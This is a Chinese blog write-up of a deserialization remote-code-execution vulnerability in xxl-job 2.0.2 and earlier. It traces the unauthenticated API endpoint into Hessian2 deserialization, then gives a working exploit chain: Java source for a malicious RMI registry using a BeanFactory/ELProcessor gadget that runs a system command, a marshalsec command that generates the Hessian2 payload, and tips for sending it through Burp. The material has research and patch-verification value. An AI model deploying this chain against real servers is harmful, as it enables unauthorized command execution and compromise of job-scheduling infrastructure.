首页 技术 正文
技术 2022年11月19日
0 收藏 305 点赞 3,549 浏览 2930 个字

xxl-job <=2.0.2 反序列化漏洞

搭建

https://github.com/xuxueli/xxl-job/releases/tag/2.0.2 下载源码,导入idea,mysql导入sql文件,修改数据库配置后运行XxlJobAdminApplication 即可成功启动项目。

漏洞分析

\xxl-job-2.0.2\xxl-job-admin\src\main\java\com\xxl\job\admin\controller\JobApiController.java 中api接口设置了 @PermessionLimit(limit=false) 没有无需登录即可访问

@RequestMapping(AdminBiz.MAPPING)
@PermessionLimit(limit=false)
public void api(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
XxlJobDynamicScheduler.invokeAdminService(request, response);
}

跟进 invokeAdminService方法

public static void invokeAdminService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
servletServerHandler.handle(null, request, response);
}

跟进 handle

parseRequest 会对请求进行处理

private XxlRpcRequest parseRequest(HttpServletRequest request) throws Exception {
// deserialize request
byte[] requestBytes = readBytes(request);
if (requestBytes == null || requestBytes.length==0) {
throw new XxlRpcException("xxl-rpc request data is empty.");
}
XxlRpcRequest rpcXxlRpcRequest = (XxlRpcRequest) xxlRpcProviderFactory.getSerializer().deserialize(requestBytes, XxlRpcRequest.class);
return rpcXxlRpcRequest;
}

这里可以看到有一个反序列化操作 ,跟进deserialize 看看

deserialize 是一个抽象方法

xxl-job-2.0.2\xxl-job-admin\src\main\java\com\xxl\job\admin\core\schedule\XxlJobDynamicScheduler.java

可以得出,上面的反序列化会进入到HessianSerializer类中为hessian2反序列化。

漏洞利用

javax.el.ELProcessor

本地开rmi服务

package RMI;import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.el.ELProcessor;
import org.apache.naming.factory.BeanFactory;public class RmiTest {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','mstsc.exe']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

生成poc

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:1099/Object >hessian2.dat

  • 注意在burp提交序列化数据需要设置 User-Options ->Display -> Character-sets -> Display as raw bytes 并重开burp

参考

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://www.cnblogs.com/tr1ple/p/12335098.html

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,027
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,518
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,365
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,146
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,780
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,857